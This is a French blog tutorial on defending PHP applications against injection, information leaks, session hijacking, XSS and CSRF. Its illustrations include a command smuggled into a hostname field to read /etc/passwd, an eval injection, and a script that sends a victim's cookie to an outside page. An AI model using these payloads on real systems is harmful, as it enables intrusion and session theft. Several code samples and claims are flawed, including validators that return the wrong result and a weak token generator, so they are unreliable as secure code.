Apprendre à se protéger des failles de sécurité en PHP

Laisseriez-vous la porte de votre maison ouverte la nuit ? Bien sûr que non… Et bien beaucoup d’applications PHP sont développées comme si c’était le cas. Soyons honnête, aucun script ne peut être a 100% sécurisé et si il l’est aujourd’hui, il ne le sera pas forcément demain. De nouveaux exploites voient le jour constamment. Cela peut provenir de vos propres scripts mais aussi d’un serveur mal configuré, d’un logiciel de messagerie qui possède des failles (RoundCube), etc.

Toutes les failles ne seront cependant pas traitées. Il y en a bien trop pour tout couvrir ici mais vous aurez déjà quelques pistes pour améliorer votre méthodologie de développement.

hacker

Validation des données

Never Trust User Input

Vous pouvez vous faire attaquer par n’importe quelle source de donnée. Vous en connaissez déjà plusieurs $_POST, $_GET, URI, $_ENV, $_COOKIE, APIs, base de données, etc. N’importe quelle de ces sources peut contenir des informations à risque. Il y a donc un certain nombre de règles à suivre :

  • Ne faire confiance à personne
  • Toujours envisager le pire scénario
  • Utiliser plusieurs niveaux de sécurité
  • Simplifier au maximum vos scripts (moins d’erreurs possibles)
  • Ne donner pas plus de privilège à un utilisateur qu’il n’en a besoin (principe du Least Privilege)
  • Tester votre code avant de le mettre en prod

Validation des données côté client

Dans un formulaire, vous pouvez par exemple utiliser le paramètre required d’un input pour le rendre obligatoire (HTML5). Vous pouvez obtenir le même résultat en JavaScript.

<input type="text" id="email" name="email" required>

Le problème avec ce type de validation est qu’il est fait du côté du client. Tout ce qui est vérifié du côté client peut être falsifié, via Firebug par exemple. Il suffirait d’ajouter un paramètre novalidate à une form pour que l’envoi des données se passe sans soucis (ou de désactiver le JavaScript pour une solution en js).

<form id="ma_form" action="#" method="post" novalidate>
    <p>
        <input type="text" name="email" id="email" required>
    </p>
    <p>
        <input type="password" name="password" id="password" required>
    </p>
    <p>
        <input type="submit" name="submit" id="submit" value="Log in">
    </p>
</form>

Pour cette raison, vous devez toujours valider les données côté serveur.

Validation générique des données côté serveur

Je vais passer par une classe PHP générique qui servira à valider les données envoyées au serveur. Le formulaire de base utilisé sera (notez que vous avez déjà de quoi filtrer les champs) :

<?php
    if ($_POST) {
        require 'validation.php';

        $rules = array(
            'email' => 'email|required',
            'password' => 'required'
        );
        $validation = new Validation();

        if ($validation->validate($_POST, $rules) == true) {
            var_dump($_POST);
        } else {
            echo '<ul>';
            foreach ($validation->errors as $error) {
                echo '<li>' . $error . '</li>';
            }
            echo '</ul>';
        }
    }
?>
<!DOCTYPE html>
<html>
<body>
    <form id="ma_form" action="#" method="post" novalidate>
        <p>
            <input type="text" name="email" id="email" required>
        </p>
        <p>
            <input type="password" name="password" id="password" required>
        </p>
        <p>
            <input type="submit" name="submit" id="submit" value="Log in">
        </p>
    </form>
</body>
</html>

J’utilise novalidate sur la form pour ne pas être embêté lors de mes tests. Je vous donne directement la classe générique. Si vous avez des questions, vous pouvez me les envoyer dans les commentaires de l’article :

<?php

    class Validation
    {

        public $errors = array();

        public function validate($data, $rules)
        {
            $valid = true;

            foreach ($rules as $fieldname => $rule) {
                $callbacks = explode('|', $rule);

                foreach ($callbacks as $callback) {
                    $value = isset($data[$fieldname]) ? $data[$fieldname] : null;
                    if ($this->$callback($value, $fieldname) == false) $valid = false;
                }
            }

            return $valid;
        }

        public function email($value, $fieldname)
        {
            $valid = filter_var($value, FILTER_VALIDATE_EMAIL);
            if ($valid == false) $this->errors[] = "$fieldname doit &ecirc;tre un email valide";
            return $value;
        }

        public function required($value, $fieldname)
        {
            $valid = !empty($value);
            if ($valid == false) $this->errors[] = "$fieldname est obligatoire";
            return $value;
        }
    }

Injections

Injection SQL

Lorsque vous vous connectez à une base de données pour connecter un utilisateur à votre application, pour enregistrer des données ou autre, les informations entrées dans l’input peuvent être à risque. Si par exemple vous écriez une simple quote (‘) ou une double quote (« ) dans un champ d’un formulaire, vous êtes susceptible de subir une injection SQL si vous avez un message de ce type qui s’affiche à l’écran :

SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near [...]

Raison de plus pour toujours valider les données côté server. La règle d’or est de ne jamais passer de variable PHP directement dans une requête SQL comme ceci :

$sql = "SELECT * FROM users WHERE email='$email'";

Nous allons binder chaque paramètre. Il manque la partie de permet à PDO de se connecter à la base de donnée mais voici la façon de procéder :

<?php
    require 'pdo.php';
    $pdo = connect();

    $sql = "SELECT * FROM users WHERE email=:email";

// valider les données
// escaping (htmlentities par exemple)
// binder les paramètres (comme ci-dessous)
// Least Privilege

    try {
        $query->$pdo->prepare($sql);
        $query->bindParam(':email', $email, PDO::PARAM_STR);
        $query->execute();
        $user = $query->fetch();

        if ($user !== false) {
            // action désirée (test ok)
        }
    } catch (PDOException $e) {
        echo $e->getMessage();
    }

Certaines étapes (commentées) sont manquantes. Il faudrait plusieurs niveaux de sécurité et je n’en ai montré qu’un dans cet exemple.

OS Injection

Ce que j’appelle OS Injection est lorsqu’une personne exécute des commandes système en les injectant dans vos scripts PHP. Voici un exemple de fonction qui me permet d’afficher le résultat de la commande nslookup d’un site envoyé en POST :

// $_POST['host'] = 'google.com';

system('nslookup ' . $_POST['host']);

Si je modifie les données envoyées en POST par quelque chose comme :

$_POST['host'] = 'google.com; cat /etc/passwd';

La page affichera tous les utilisateurs et leur mot de passe associé. C’est problématique. La règle d’or ici est de ne JAMAIS utiliser de commande système a moins vraiment d’en être obligé (cas très rares). Dans ce cas, il faudrait mettre en place des niveaux de sécurité dont le premier serait : la validation des données.

// validation
    $array = array('google.com', 'yahoo.com', 'bing.com');

    if (isset($_POST['host']) && in_array($_POST['host'], $array)) {
        echo '<pre>';
        system('nslookup ' . $_POST['host']);
    }

Vous pouvez aller encore plus loin en ajoutant un système de ban par exemple.

Injection de code

L’injection de code intervient souvent si vous faites appel à la fonction native de PHP : eval(); Elle permet d’exécuter n’importe quelle commande PHP. Voici un exemple relativement simple (qui n’applique pas les best practices) :

<?php
    $var = 1;
    $newvalue = isset($_GET['id']) ? $_GET['id'] : 0;
    eval('$var = ' . $newvalue . ';');
    echo $var;

Le problème ici est que si vous passez un code malicieux dans l’url, il sera interprété : url.php?id=phpinfo() affichera l’intégralité du phpinfo(); La fonction eval() est donc relativement dangereuse à utiliser. Vous pouvez toujours ajouter des couches de sécurité à votre script mais mon conseil est de ne pas l’utiliser du tout. C’est d’ailleurs ce que le manuel PHP conseille.

Fuite d’information

Information du serveur

Je parle ici de tous les types de messages de debug. Il y en a des centaines. Par exemple :

PDOException: SQLSTATE[42000] [1044] Access denied for user 'vermasee_drpl1'@'localhost' to database 'vermasee_drpl1' in lock_may_be_available() (line 165 of /home/vermasee/public_html/includes/lock.inc).

Les messages peuvent être accidentels comme l’exemple ci-dessus. Dans tous les cas pour vos scripts en production, il faut désactiver ces messages. Le plus simple est de passer par le fichier php.ini. Utilisez les valeurs ci-dessous pour cacher les erreurs mais tout de même les enregistrer dans les fichiers de log :

display_errors = Off
display_startup_errors = Off
error_reporting = E_ALL & ~E_DEPRECATED
html_errors = Off
log_errors = On

Si maintenant vous n’avez pas accès à ce fichier ou que vous ne pouvez pas le modifier, vous pouvez passer par un fichier .htaccess avec le contenu ci-dessous :

php_flag display_errors Off
php_flag display_startup_errors Off
php_flag html_errors Off
php_flag log_errors On

Une autre solution serait de définir des variables d’environnement dans les fichiers PHP directement, en fonction du dossier root par exemple.

<?php

// en fonction du chemin des fichiers
    $path = dirname(__FILE__);
    switch ($path) {
        case '/home/www/lije/test/':
            $env = 'development';
            break;

        default:
            $env = 'production';
            break;
    }

    define('C_ENVIRONMENT', $env);

// affichage ou non des erreurs
    switch (C_ENVIRONMENT) {
        case 'development':
            error_reporting(-1);
            break;

        default:
            error_reporting(0);
            break;
    }

Astuce : Ne donnez jamais trop d’information en cas d’erreur. Par exemple, évitez le banal message « cette adresse email n’existe pas » ou « le mot de passe est incorrect pour cet utilisateur ». Soyez clair mais assez flou. Par exemple : « la combinaison de cet email et ce mot de passe n’existe pas ».

Autre chose, les en-têtes HTTP donne beaucoup d’informations aux hackers, notamment la version de PHP, Apache ou de certains modules. Par défaut, votre machine affiche quelque chose dans ce genre :

HTTP/1.1 200 OK => 
Date => Mon, 24 Nov 2014 23:19:59 GMT
Server => Apache/2.2.29 (Unix) mod_ssl/2.2.29 OpenSSL/1.0.1f
X-Powered-By => PHP/5.3.29
Vary => Host,Accept-Encoding
Last-Modified => Tue, 19 Aug 2014 13:08:32 GMT
ETag => "a80aa-1e50-500fb2f2fb400"
Accept-Ranges => bytes
Content-Length => 7760
Cache-Control => max-age=600, private, must-revalidate
Expires => Tue, 25 Nov 2014 01:19:59 GMT
Connection => close
Content-Type => text/html

Il faut modifier le fichier httpd.conf (Apache) et définir les variables comme ci-dessous :

ServerTokens Prod
ServerSignature Off

et php.ini :

expose_php = Off

Informations sensibles

Les données sensibles, dans le sens ou je l’entends, sont par exemples des numéros de cartes bancaires, mots de passe, numéros de sécurité social, etc. Le plus gros problèmes parmi tous ceux qu’on peut avoir avec les données sensibles est le fait de ne pas les crypter.

L’utilisation de la fonction md5() pour crypter les informations est considéré aujourd’hui comme étant une mauvaise pratique. Cet algorithme était considéré comme étant l’un des plus robustes il y a quelques années. Son point fort est qu’il n’y a pas de fonction pour décrypter une chaîne. Cependant, les Rainbow Tables permettent maintenant de casser relativement facilement une donnée cryptée et comme le md5 est rapide, vous pouvez casser la clé encore plus rapidement.

Au lieu de cela, il est conseillé d’utiliser la fonction password_hash() :

<?php
    $password = 'lijecreative';
    $hash = password_hash($password, PASSWORD_DEFAULT);

// encore plus secure
    $hash = password_hash($password, PASSWORD_BCRYPT, array('cost' => 10));
    echo $hash;

Sessions

Utilisée pour se faire passer pour un utilisateur spécifique (connecté, admin etc.), il faut faire attention à ce que cette technique ne puisse être utilisée sur votre serveur. Vous connecter un utilisateur, les Sessions sont presque toujours utilisées. Par exemple, l’application définira les paramètres suivants :

<?php
    session_start();
    $_SESSION['username'] = 'Jerome';
    $_SESSION['loggedin'] = true;
    $_SESSION['role'] = 'admin';

Un ID se session sera alors généré. Il sera stocké dans un cookie, sur votre machine. De cette façon, PHP regardera sur la session liée à l’ID est toujours valide et c’est si le cas, il cherchera les meta données liées à cet ID. Voici comment le vol de session fonctionne :

Session_Hijacking_3

Il y a plusieurs méthodes pour voler l’ID de session. Il est parfois stocker dans un champ cacher d’un formulaire. Ou bien sur les ordinateurs publiques (ou même le votre), lorsque vous quittez une application au lieu de vous déconnecter, la session est toujours active. Les failles XSS permettent également de la récupérer. Il est donc facile de récupérer l’ID dans ces cas. Pour s’en prémunir, je conseille d’utiliser la fonction session_regenerate_id() toutes les 5 minutes. Lorsqu’un utilisateur se déconnecte de votre application, utilisez ces deux fonctions pour être sûr de tout supprimer :

session_destroy();
session_unset();

Laissez également tomber la fonctionnalité « me garder toujours connecté » par mesure de sécurité.

XSS

65% des sites internet sont vulnérables aux failles XSS. Le principe du XSS consiste en l’injection de code Javascript dans un input de votre application. Pour savoir si vous êtes vulnérable, regardez si votre application affiche une alerte en envoyant ce code dans un input d’une form :

<script>alert(document.cookie);</script>

Le vol complet du cookie fonctionne comme ceci :

<script>document.write('<iframe src="https://www.lije-creative.com/volersession.php?' + document.cookie + '" height="0" width="0" style="border:none;" />');</script>

Vous pouvez vous en prémunir en échappant les tags HTML par exemple :

echo htmlspecialchars($_POST['comment'], ENT_QUOTES, 'UTF-8');

Pensez également à valider les données envoyées avant de les traiter.

public function text($value, $fieldname)
{
    $whitelist = '/^[a-zA-Z0-9 ,\.\\n;:\-]+$/';
    $valid = preg_match($whitelist, $value);
    if ($valid == false) $this->errors[] = "Le contenu est $fieldname est incorrect";
    return $valid;
}

CSRF

Les attaques de type CSRF (Cross Site Request Forgery) sont actionnées via une action d’un utilisateur. Ainsi, c’est l’utilisateur qui est à l’origine de l’attaque. Elle se rapproche un peu d’une attaque de type XSS.

Pour faire très simple, imaginez être connecté à un site A qui permet de faire d’envoyer de l’argent à un autre membre du site. Le transfert se faire via des paramètres passés dans l’URL et la sécurité y est relativement faible. Puis vous vous retrouvez par l’intermédiaire d’un email (toujours un exemple) sur un site B, celui du hacker. Celui-ci, par l’intermédiaire d’une iframe cachée va générer un transfert d’argent de votre compte du site A comme vous y êtes toujours connecté. Comment se protéger de ce genre de technique ? Prestashop par exemple le fait très bien, vous pouvez utiliser un token dans l’url. C’est une suite de caractères passé en paramètre et stockée dans une session puis comparée à celle de la page. Voici une méthode pour générer un token unique à coup sûr.

function get_token()
{
    return hash('sha512', mt_rand(0, mt_getrandmax()) . microtime(true));
}

Attention, pour que cela fonctionne, il faut générer un nouveau token à chaque fois que celui-ci est comparé à celui de la session.

Ressources

Voici quelques ressources supplémentaires que vous pouvez utiliser pour vous protéger :

Tuto Leaflet avec des tiles gratuits
Prestashop : modifier les extensions de fichiers autorisées en upload

One Comment on “Apprendre à se protéger des failles de sécurité en PHP”

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *